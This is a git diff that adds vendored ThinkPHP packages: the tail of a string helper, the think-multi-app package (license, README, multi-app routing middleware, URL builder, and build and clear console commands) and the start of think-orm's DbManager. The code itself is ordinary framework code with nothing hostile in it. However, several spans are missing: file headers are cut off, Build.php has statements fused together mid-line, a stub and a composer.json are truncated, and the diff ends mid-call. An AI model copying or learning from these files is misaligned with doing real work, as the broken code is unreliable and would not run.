lcfirst(static::studly($value)); + } + + /** + * 下划线转驼峰(首字母大写) + * + * @param string $value + * @return string + */ + public static function studly(string $value): string + { + $key = $value; + + if (isset(static::$studlyCache[$key])) { + return static::$studlyCache[$key]; + } + + $value = ucwords(str_replace(['-', '_'], ' ', $value)); + + return static::$studlyCache[$key] = str_replace(' ', '', $value); + } + + /** + * 转为首字母大写的标题格式 + * + * @param string $value + * @return string + */ + public static function title(string $value): string + { + return mb_convert_case($value, MB_CASE_TITLE, 'UTF-8'); + } +} diff --git a/vendor/topthink/think-multi-app/LICENSE b/vendor/topthink/think-multi-app/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/vendor/topthink/think-multi-app/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/topthink/think-multi-app/README.md b/vendor/topthink/think-multi-app/README.md new file mode 100644 index 0000000..a746fa7 --- /dev/null +++ b/vendor/topthink/think-multi-app/README.md @@ -0,0 +1,14 @@ +# think-multi-app + +用于ThinkPHP6+的多应用支持 + +## 安装 + +~~~ +composer require topthink/think-multi-app +~~~ + +## 使用 + +用法参考ThinkPHP6完全开发手册[多应用模式](https://www.kancloud.cn/manual/thinkphp6_0/1297876)章节。 + diff --git a/vendor/topthink/think-multi-app/composer.json b/vendor/topthink/think-multi-app/composer.json new file mode 100644 index 0000000..92d620e --- /dev/null +++ b/vendor/topthink/think-multi-app/composer.json @@ -0,0 +1,28 @@ +{ + "name": "topthink/think-multi-app", + "description": "thinkphp6 multi app support", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "require": { + "php": ">=7.1.0", + "topthink/framework": "^6.0.0" + }, + "autoload": { + "psr-4": { + "think\\app\\": "src" + } + }, + "extra": { + "think":{ + "services":[ + "think\\app\\Service" + ] + } + }, + "minimum-stability": "dev" +} diff --git a/vendor/topthink/think-multi-app/src/MultiApp.php b/vendor/topthink/think-multi-app/src/MultiApp.php new file mode 100644 index 0000000..b0ac260 --- /dev/null +++ b/vendor/topthink/think-multi-app/src/MultiApp.php @@ -0,0 +1,245 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\app; + +use Closure; +use think\App; +use think\exception\HttpException; +use think\Request; +use think\Response; + +/** + * 多应用模式支持 + */ +class MultiApp +{ + + /** @var App */ + protected $app; + + /** + * 应用名称 + * @var string + */ + protected $name; + + /** + * 应用名称 + * @var string + */ + protected $appName; + + /** + * 应用路径 + * @var string + */ + protected $path; + + public function __construct(App $app) + { + $this->app = $app; + $this->name = $this->app->http->getName(); + $this->path = $this->app->http->getPath(); + } + + /** + * 多应用解析 + * @access public + * @param Request $request + * @param Closure $next + * @return Response + */ + public function handle($request, Closure $next) + { + if (!$this->parseMultiApp()) { + return $next($request); + } + + return $this->app->middleware->pipeline('app') + ->send($request) + ->then(function ($request) use ($next) { + return $next($request); + }); + } + + /** + * 获取路由目录 + * @access protected + * @return string + */ + protected function getRoutePath(): string + { + return $this->app->getAppPath() . 'route' . DIRECTORY_SEPARATOR; + } + + /** + * 解析多应用 + * @return bool + */ + protected function parseMultiApp(): bool + { + $scriptName = $this->getScriptName(); + $defaultApp = $this->app->config->get('app.default_app') ?: 'index'; + + if ($this->name || ($scriptName && !in_array($scriptName, ['index', 'router', 'think']))) { + $appName = $this->name ?: $scriptName; + $this->app->http->setBind(); + } else { + // 自动多应用识别 + $this->app->http->setBind(false); + $appName = null; + $this->appName = ''; + + $bind = $this->app->config->get('app.domain_bind', []); + + if (!empty($bind)) { + // 获取当前子域名 + $subDomain = $this->app->request->subDomain(); + $domain = $this->app->request->host(true); + + if (isset($bind[$domain])) { + $appName = $bind[$domain]; + $this->app->http->setBind(); + } elseif (isset($bind[$subDomain])) { + $appName = $bind[$subDomain]; + $this->app->http->setBind(); + } elseif (isset($bind['*'])) { + $appName = $bind['*']; + $this->app->http->setBind(); + } + } + + if (!$this->app->http->isBind()) { + $path = $this->app->request->pathinfo(); + $map = $this->app->config->get('app.app_map', []); + $deny = $this->app->config->get('app.deny_app_list', []); + $name = current(explode('/', $path)); + + if (strpos($name, '.')) { + $name = strstr($name, '.', true); + } + + if (isset($map[$name])) { + if ($map[$name] instanceof Closure) { + $result = call_user_func_array($map[$name], [$this->app]); + $appName = $result ?: $name; + } else { + $appName = $map[$name]; + } + } elseif ($name && (false !== array_search($name, $map) || in_array($name, $deny))) { + throw new HttpException(404, 'app not exists:' . $name); + } elseif ($name && isset($map['*'])) { + $appName = $map['*']; + } else { + $appName = $name ?: $defaultApp; + $appPath = $this->path ?: $this->app->getBasePath() . $appName . DIRECTORY_SEPARATOR; + + if (!is_dir($appPath)) { + $express = $this->app->config->get('app.app_express', false); + if ($express) { + $this->setApp($defaultApp); + return true; + } else { + return false; + } + } + } + + if ($name) { + $this->app->request->setRoot('/' . $name); + $this->app->request->setPathinfo(strpos($path, '/') ? ltrim(strstr($path, '/'), '/') : ''); + } + } + } + + $this->setApp($appName ?: $defaultApp); + return true; + } + + /** + * 获取当前运行入口名称 + * @access protected + * @codeCoverageIgnore + * @return string + */ + protected function getScriptName(): string + { + if (isset($_SERVER['SCRIPT_FILENAME'])) { + $file = $_SERVER['SCRIPT_FILENAME']; + } elseif (isset($_SERVER['argv'][0])) { + $file = realpath($_SERVER['argv'][0]); + } + + return isset($file) ? pathinfo($file, PATHINFO_FILENAME) : ''; + } + + /** + * 设置应用 + * @param string $appName + */ + protected function setApp(string $appName): void + { + $this->appName = $appName; + $this->app->http->name($appName); + + $appPath = $this->path ?: $this->app->getBasePath() . $appName . DIRECTORY_SEPARATOR; + + $this->app->setAppPath($appPath); + // 设置应用命名空间 + $this->app->setNamespace($this->app->config->get('app.app_namespace') ?: 'app\\' . $appName); + + if (is_dir($appPath)) { + $this->app->setRuntimePath($this->app->getRuntimePath() . $appName . DIRECTORY_SEPARATOR); + $this->app->http->setRoutePath($this->getRoutePath()); + + //加载应用 + $this->loadApp($appName, $appPath); + } + } + + /** + * 加载应用文件 + * @param string $appName 应用名 + * @return void + */ + protected function loadApp(string $appName, string $appPath): void + { + if (is_file($appPath . 'common.php')) { + include_once $appPath . 'common.php'; + } + + $files = []; + + $files = array_merge($files, glob($appPath . 'config' . DIRECTORY_SEPARATOR . '*' . $this->app->getConfigExt())); + + foreach ($files as $file) { + $this->app->config->load($file, pathinfo($file, PATHINFO_FILENAME)); + } + + if (is_file($appPath . 'event.php')) { + $this->app->loadEvent(include $appPath . 'event.php'); + } + + if (is_file($appPath . 'middleware.php')) { + $this->app->middleware->import(include $appPath . 'middleware.php', 'app'); + } + + if (is_file($appPath . 'provider.php')) { + $this->app->bind(include $appPath . 'provider.php'); + } + + // 加载应用默认语言包 + $this->app->loadLangPack($this->app->lang->defaultLangSet()); + } + +} diff --git a/vendor/topthink/think-multi-app/src/Service.php b/vendor/topthink/think-multi-app/src/Service.php new file mode 100644 index 0000000..22b8532 --- /dev/null +++ b/vendor/topthink/think-multi-app/src/Service.php @@ -0,0 +1,32 @@ + +// +---------------------------------------------------------------------- +namespace think\app; + +use think\Service as BaseService; + +class Service extends BaseService +{ + public function boot() + { + $this->app->event->listen('HttpRun', function () { + $this->app->middleware->add(MultiApp::class); + }); + + $this->commands([ + 'build' => command\Build::class, + 'clear' => command\Clear::class, + ]); + + $this->app->bind([ + 'think\route\Url' => Url::class, + ]); + } +} diff --git a/vendor/topthink/think-multi-app/src/Url.php b/vendor/topthink/think-multi-app/src/Url.php new file mode 100644 index 0000000..7bd6057 --- /dev/null +++ b/vendor/topthink/think-multi-app/src/Url.php @@ -0,0 +1,232 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\app; + +use think\App; +use think\Route; +use think\route\Url as UrlBuild; + +/** + * 路由地址生成 + */ +class Url extends UrlBuild +{ + /** + * 直接解析URL地址 + * @access protected + * @param string $url URL + * @param string|bool $domain Domain + * @return string + */ + protected function parseUrl(string $url, &$domain): string + { + $request = $this->app->request; + + if (0 === strpos($url, '/')) { + // 直接作为路由地址解析 + $url = substr($url, 1); + } elseif (false !== strpos($url, '\\')) { + // 解析到类 + $url = ltrim(str_replace('\\', '/', $url), '/'); + } elseif (0 === strpos($url, '@')) { + // 解析到控制器 + $url = substr($url, 1); + } elseif ('' === $url) { + $url = $this->getAppName() . '/' . $request->controller() . '/' . $request->action(); + } else { + // 解析到 应用/控制器/操作 + $controller = $request->controller(); + $app = $this->getAppName(); + $path = explode('/', $url); + $action = array_pop($path); + $controller = empty($path) ? $controller : array_pop($path); + $app = empty($path) ? $app : array_pop($path); + $url = $controller . '/' . $action; + $bind = $this->app->config->get('app.domain_bind', []); + + if ($key = array_search($this->app->http->getName(), $bind)) { + isset($bind[$_SERVER['SERVER_NAME']]) && $domain = $_SERVER['SERVER_NAME']; + + $domain = is_bool($domain) ? $key : $domain; + } else { + $url = $app . '/' . $url; + } + } + + return $url; + } + + public function build() + { + // 解析URL + $url = $this->url; + $suffix = $this->suffix; + $domain = $this->domain; + $request = $this->app->request; + $vars = $this->vars; + + if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { + // [name] 表示使用路由命名标识生成URL + $name = substr($url, 1, $pos - 1); + $url = 'name' . substr($url, $pos + 1); + } + + if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { + $info = parse_url($url); + $url = !empty($info['path']) ? $info['path'] : ''; + + if (isset($info['fragment'])) { + // 解析锚点 + $anchor = $info['fragment']; + + if (false !== strpos($anchor, '?')) { + // 解析参数 + list($anchor, $info['query']) = explode('?', $anchor, 2); + } + + if (false !== strpos($anchor, '@')) { + // 解析域名 + list($anchor, $domain) = explode('@', $anchor, 2); + } + } elseif (strpos($url, '@') && false === strpos($url, '\\')) { + // 解析域名 + list($url, $domain) = explode('@', $url, 2); + } + } + + if ($url) { + $checkName = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : ''); + $checkDomain = $domain && is_string($domain) ? $domain : null; + + $rule = $this->route->getName($checkName, $checkDomain); + + if (empty($rule) && isset($info['query'])) { + $rule = $this->route->getName($url, $checkDomain); + // 解析地址里面参数 合并到vars + parse_str($info['query'], $params); + $vars = array_merge($params, $vars); + unset($info['query']); + } + } + + if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { + // 匹配路由命名标识 + $url = $match[0]; + + if ($domain && !empty($match[1])) { + $domain = $match[1]; + } + + if (!is_null($match[2])) { + $suffix = $match[2]; + } + + if (!$this->app->http->isBind()) { + $app = $this->getAppName(); + $url = $app . '/' . $url; + } + } elseif (!empty($rule) && isset($name)) { + throw new \InvalidArgumentException('route name not exists:' . $name); + } else { + // 检测URL绑定 + $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); + + if ($bind && 0 === strpos($url, $bind)) { + $url = substr($url, strlen($bind) + 1); + } else { + $binds = $this->route->getBind(); + + foreach ($binds as $key => $val) { + if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) { + $url = substr($url, strlen($val) + 1); + $domain = $key; + break; + } + } + } + + // 路由标识不存在 直接解析 + $url = $this->parseUrl($url, $domain); + + if (isset($info['query'])) { + // 解析地址里面参数 合并到vars + parse_str($info['query'], $params); + $vars = array_merge($params, $vars); + } + } + + // 还原URL分隔符 + $depr = $this->route->config('pathinfo_depr'); + $url = str_replace('/', $depr, $url); + + $file = $request->baseFile(); + if ($file && 0 !== strpos($request->url(), $file)) { + $file = str_replace('\\', '/', dirname($file)); + } + + $url = rtrim($file, '/') . '/' . ltrim($url, '/'); + + // URL后缀 + if ('/' == substr($url, -1) || '' == $url) { + $suffix = ''; + } else { + $suffix = $this->parseSuffix($suffix); + } + + // 锚点 + $anchor = !empty($anchor) ? '#' . $anchor : ''; + + // 参数组装 + if (!empty($vars)) { + // 添加参数 + if ($this->route->config('url_common_param')) { + $vars = http_build_query($vars); + $url .= $suffix . '?' . $vars . $anchor; + } else { + foreach ($vars as $var => $val) { + $val = (string) $val; + if ('' !== $val) { + $url .= $depr . $var . $depr . urlencode($val); + } + } + + $url .= $suffix . $anchor; + } + } else { + $url .= $suffix . $anchor; + } + + // 检测域名 + $domain = $this->parseDomain($url, $domain); + + // URL组装 + return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/'); + } + + /** + * 获取URL的应用名 + * @access protected + * @return string + */ + protected function getAppName() + { + $app = $this->app->http->getName(); + $map = $this->app->config->get('app.app_map', []); + + if ($key = array_search($app, $map)) { + $app = $key; + } + + return $app; + } +} diff --git a/vendor/topthink/think-multi-app/src/command/Build.php b/vendor/topthink/think-multi-app/src/command/Build.php new file mode 100644 index 0000000..65b2f87 --- /dev/null +++ b/vendor/topthink/think-multi-app/src/command/Build.php @@ -0,0 +1,180 @@ + +// +---------------------------------------------------------------------- + +namespace think\app\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\Output; + +class Build extends Command +{ + /** + * 应用基础目录 + * @var string + */ + protected $basePath; + + /** + * {@inheritdoc} + */ + protected function configure() + { + $this->setName('build') + ->addArgument('app', Argument::OPTIONAL, 'app name .') + ->setDescription('Build App Dirs'); + } + + protected function execute(Input $input, Output $output) + { + $this->basePath = $this->app->getBasePath(); + $app = $input->getArgument('app') ?: ''; + + if (is_file($this->basePath . 'build.php')) { + $list = include $this->basePath . 'build.php'; + } else { + $list = [ + '__dir__' => ['controller', 'model', 'view'], + ]; + } + + $this->buildApp($app, $list); + $output->writeln("Successed"); + + } + + /** + * 创建应用 + * @access protected + * @param string $app 应用名 + * @param array $list 目录结构 + * @return void + */ + protected function buildApp(string $app, array $list = []): void + { + if (!is_dir($this->basePath . $app)) { + // 创建应用目录 + mkdir($this->basePath . $app); + } + + $appPath = $this->basePath . ($app ? $app . DIRECTORY_SEPARATOR : ''); + $namespace = 'app' . ($app ? '\\' . $app : ''); + + // 创建配置文件和公共文件 + $this->buildCommon($app); + // 创建模块的默认页面 + $this->buildHello($app, $namespace); + + foreach ($list as $path => $file) { + if ('__dir__' == $path) { + // 生成子目录 + foreach ($file as $dir) { + $this->checkDirBuild($appPath . $dir); + } + } elseif ('__file__' == $path) { + // 生成(空白)文件 + foreach ($file as $name) { + if (!is_file($appPath . $name)) { + file_put_contents($appPath . $name, 'php' == pathinfo($name, PATHINFO_EXTENSION) ? 'app->config->get('route.controller_suffix')) { + $filename = $appPath . $path . DIRECTORY_SEPARATOR . $val . 'Controller.php'; + $class = $val . 'Controller'; + } + $content = "checkDirBuild(dirname($filename)); + $content = ''; + break; + default: + // 其他文件 + $content = "app->config->get('route.controller_suffix') ? 'Controller' : ''; + $filename = $this->basePath . ($app ? $app . DIRECTORY_SEPARATOR : '') . 'controller' . DIRECTORY_SEPARATOR . 'Index' . $suffix . '.php'; + + if (!is_file($filename)) { + $content = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'controller.stub'); + $content = str_replace(['{%name%}', '{%app%}', '{%layer%}', '{%suffix%}'], [$app, $namespace, 'controller', $suffix], $content); + $this->checkDirBuild(dirname($filename)); + + file_put_contents($filename, $content); + } + } + + /** + * 创建应用的公共文件 + * @access protected + * @param string $app 目录 + * @return void + */ + protected function buildCommon(string $app): void + { + $appPath = $this->basePath . ($app ? $app . DIRECTORY_SEPARATOR : ''); + + if (!is_file($appPath . 'common.php')) { + file_put_contents($appPath . 'common.php', " +// +---------------------------------------------------------------------- +namespace think\app\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\input\Option; +use think\console\Output; + +class Clear extends Command +{ + protected function configure() + { + // 指令配置 + $this->setName('clear') + ->addArgument('app', Argument::OPTIONAL, 'app name .') + ->addOption('cache', 'c', Option::VALUE_NONE, 'clear cache file') + ->addOption('log', 'l', Option::VALUE_NONE, 'clear log file') + ->addOption('dir', 'r', Option::VALUE_NONE, 'clear empty dir') + ->setDescription('Clear runtime file'); + } + + protected function execute(Input $input, Output $output) + { + $app = $input->getArgument('app') ?: ''; + $runtimePath = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . ($app ? $app . DIRECTORY_SEPARATOR : ''); + + if ($input->getOption('cache')) { + $path = $runtimePath . 'cache'; + } elseif ($input->getOption('log')) { + $path = $runtimePath . 'log'; + } else { + $path = $runtimePath; + } + + $rmdir = $input->getOption('dir') ? true : false; + $this->clear(rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR, $rmdir); + + $output->writeln("Clear Successed"); + } + + protected function clear(string $path, bool $rmdir): void + { + $files = is_dir($path) ? scandir($path) : []; + + foreach ($files as $file) { + if ('.' != $file && '..' != $file && is_dir($path . $file)) { + array_map('unlink', glob($path . $file . DIRECTORY_SEPARATOR . '*.*')); + if ($rmdir) { + rmdir($path . $file); + } + } elseif ('.gitignore' != $file && is_file($path . $file)) { + unlink($path . $file); + } + } + } +} diff --git a/vendor/topthink/think-multi-app/src/command/stubs/controller.stub b/vendor/topthink/think-multi-app/src/command/stubs/controller.stub new file mode 100644 index 0000000..263c4c6 --- /dev/null +++ b/vendor/topthink/think-multi-app/src/command/stubs/controller.stub @@ -0,0 +1,12 @@ +=7.1.0", + "ext-json": "*", + "psr/simple-cache": "^1.0", + "psr/log": "~1.0", + "topthink/think-helper":"^3.1" + }, + "autoload": { + "psr-4": { + "think\\": "src" + }, + "files": [] + } +} diff --git a/vendor/topthink/think-orm/src/DbManager.php b/vendor/topthink/think-orm/src/DbManager.php new file mode 100644 index 0000000..414706a --- /dev/null +++ b/vendor/topthink/think-orm/src/DbManager.php @@ -0,0 +1,396 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use InvalidArgumentException; +use Psr\Log\LoggerInterface; +use Psr\SimpleCache\CacheInterface; +use think\db\BaseQuery; +use think\db\ConnectionInterface; +use think\db\Query; +use think\db\Raw; + +/** + * Class DbManager + * @package think + * @mixin BaseQuery + * @mixin Query + */ +class DbManager +{ + /** + * 数据库连接实例 + * @var array + */ + protected $instance = []; + + /** + * 数据库配置 + * @var array + */ + protected $config = []; + + /** + * Event对象或者数组 + * @var array|object + */ + protected $event; + + /** + * SQL监听 + * @var array + */ + protected $listen = []; + + /** + * SQL日志 + * @var array + */ + protected $dbLog = []; + + /** + * 查询次数 + * @var int + */ + protected $queryTimes = 0; + + /** + * 查询缓存对象 + * @var CacheInterface + */ + protected $cache; + + /** + * 查询日志对象 + * @var LoggerInterface + */ + protected $log; + + /** + * 架构函数 + * @access public + */ + public function __construct() + { + $this->modelMaker(); + } + + /** + * 注入模型对象 + * @access public + * @return void + */ + protected function modelMaker() + { + $this->triggerSql(); + + Model::setDb($this); + + if (is_object($this->event)) { + Model::setEvent($this->event); + } + + Model::maker(function (Model $model) { + $isAutoWriteTimestamp = $model->getAutoWriteTimestamp(); + + if (is_null($isAutoWriteTimestamp)) { + // 自动写入时间戳 + $model->isAutoWriteTimestamp($this->getConfig('auto_timestamp', true)); + } + + $dateFormat = $model->getDateFormat(); + + if (is_null($dateFormat)) { + // 设置时间戳格式 + $model->setDateFormat($this->getConfig('datetime_format', 'Y-m-d H:i:s')); + } + }); + } + + /** + * 监听SQL + * @access protected + * @return void + */ + protected function triggerSql(): void + { + // 监听SQL + $this->listen(function ($sql, $time, $master) { + if (0 === strpos($sql, 'CONNECT:')) { + $this->log($sql); + return; + } + + // 记录SQL + if (is_bool($master)) { + // 分布式记录当前操作的主从 + $master = $master ? 'master|' : 'slave|'; + } else { + $master = ''; + } + + $this->log($sql . ' [ ' . $master . 'RunTime:' . $time . 's ]'); + }); + } + + /** + * 初始化配置参数 + * @access public + * @param array $config 连接配置 + * @return void + */ + public function setConfig($config): void + { + $this->config = $config; + } + + /** + * 设置缓存对象 + * @access public + * @param CacheInterface $cache 缓存对象 + * @return void + */ + public function setCache(CacheInterface $cache): void + { + $this->cache = $cache; + } + + /** + * 设置日志对象 + * @access public + * @param LoggerInterface $log 日志对象 + * @return void + */ + public function setLog(LoggerInterface $log): void + { + $this->log = $log; + } + + /** + * 记录SQL日志 + * @access protected + * @param string $log SQL日志信息 + * @param string $type 日志类型 + * @return void + */ + public function log(string $log, string $type = 'sql') + { + if ($this->log) { + $this->log->log($type, $log); + } else { + $this->dbLog[$type][] = $log; + } + } + + /** + * 获得查询日志(没有设置日志对象使用) + * @access public + * @param bool $clear 是否清空 + * @return array + */ + public function getDbLog(bool $clear = false): array + { + $logs = $this->dbLog; + if ($clear) { + $this->dbLog = []; + } + + return $logs; + } + + /** + * 获取配置参数 + * @access public + * @param string $name 配置参数 + * @param mixed $default 默认值 + * @return mixed + */ + public function getConfig(string $name = '', $default = null) + { + if ('' === $name) { + return $this->config; + } + + return $this->config[$name] ?? $default; + } + + /** + * 创建/切换数据库连接查询 + * @access public + * @param string|null $name 连接配置标识 + * @param bool $force 强制重新连接 + * @return ConnectionInterface + */ + public function connect(string $name = null, bool $force = false) + { + return $this->instance($name, $force); + } + + /** + * 创建数据库连接实例 + * @access protected + * @param string|null $name 连接标识 + * @param bool $force 强制重新连接 + * @return ConnectionInterface + */ + protected function instance(string $name = null, bool $force = false): ConnectionInterface + { + if (empty($name)) { + $name = $this->getConfig('default', 'mysql'); + } + + if ($force || !isset($this->instance[$name])) { + $this->instance[$name] = $this->createConnection($name); + } + + return $this->instance[$name]; + } + + /** + * 获取连接配置 + * @param string $name + * @return array + */ + protected function getConnectionConfig(string $name): array + { + $connections = $this->getConfig('connections'); + if (!isset($connections[$name])) { + throw new InvalidArgumentException('Undefined db config:' . $name); + } + + return $connections[$name]; + } + + /** + * 创建连接 + * @param $name + * @return ConnectionInterface + */ + protected function createConnection(string $name): ConnectionInterface + { + $config = $this->getConnectionConfig($name); + + $type = !empty($config['type']) ? $config['type'] : 'mysql'; + + if (false !== strpos($type, '\\')) { + $class = $type; + } else { + $class = '\\think\\db\\connector\\' . ucfirst($type); + } + + /** @var ConnectionInterface $connection */ + $connection = new $class($config); + $connection->setDb($this); + + if ($this->cache) { + $connection->setCache($this->cache); + } + + return $connection; + } + + /** + * 使用表达式设置数据 + * @access public + * @param string $value 表达式 + * @return Raw + */ + public function raw(string $value): Raw + { + return new Raw($value); + } + + /** + * 更新查询次数 + * @access public + * @return void + */ + public function updateQueryTimes(): void + { + $this->queryTimes++; + } + + /** + * 重置查询次数 + * @access public + * @return void + */ + public function clearQueryTimes(): void + { + $this->queryTimes = 0; + } + + /** + * 获得查询次数 + * @access public + * @return integer + */ + public function getQueryTimes(): int + { + return $this->queryTimes; + } + + /** + * 监听SQL执行 + * @access public + * @param callable $callback 回调方法 + * @return void + */ + public function listen(callable $callback): void + { + $this->listen[] = $callback; + } + + /** + * 获取监听SQL执行 + * @access public + * @return array + */ + public function getListen(): array + { + return $this->listen; + } + + /** + * 注册回调方法 + * @access public + * @param string $event 事件名 + * @param callable $callback 回调方法 + * @return void + */ + public function event(string $event, callable $callback): void + { + $this->event[$event][] = $callback; + } + + /** + * 触发事件 + * @access public + * @param string $event 事件名 + * @param mixed $params 传入参数 + * @return mixed + */ + public function trigger(string $event, $params = 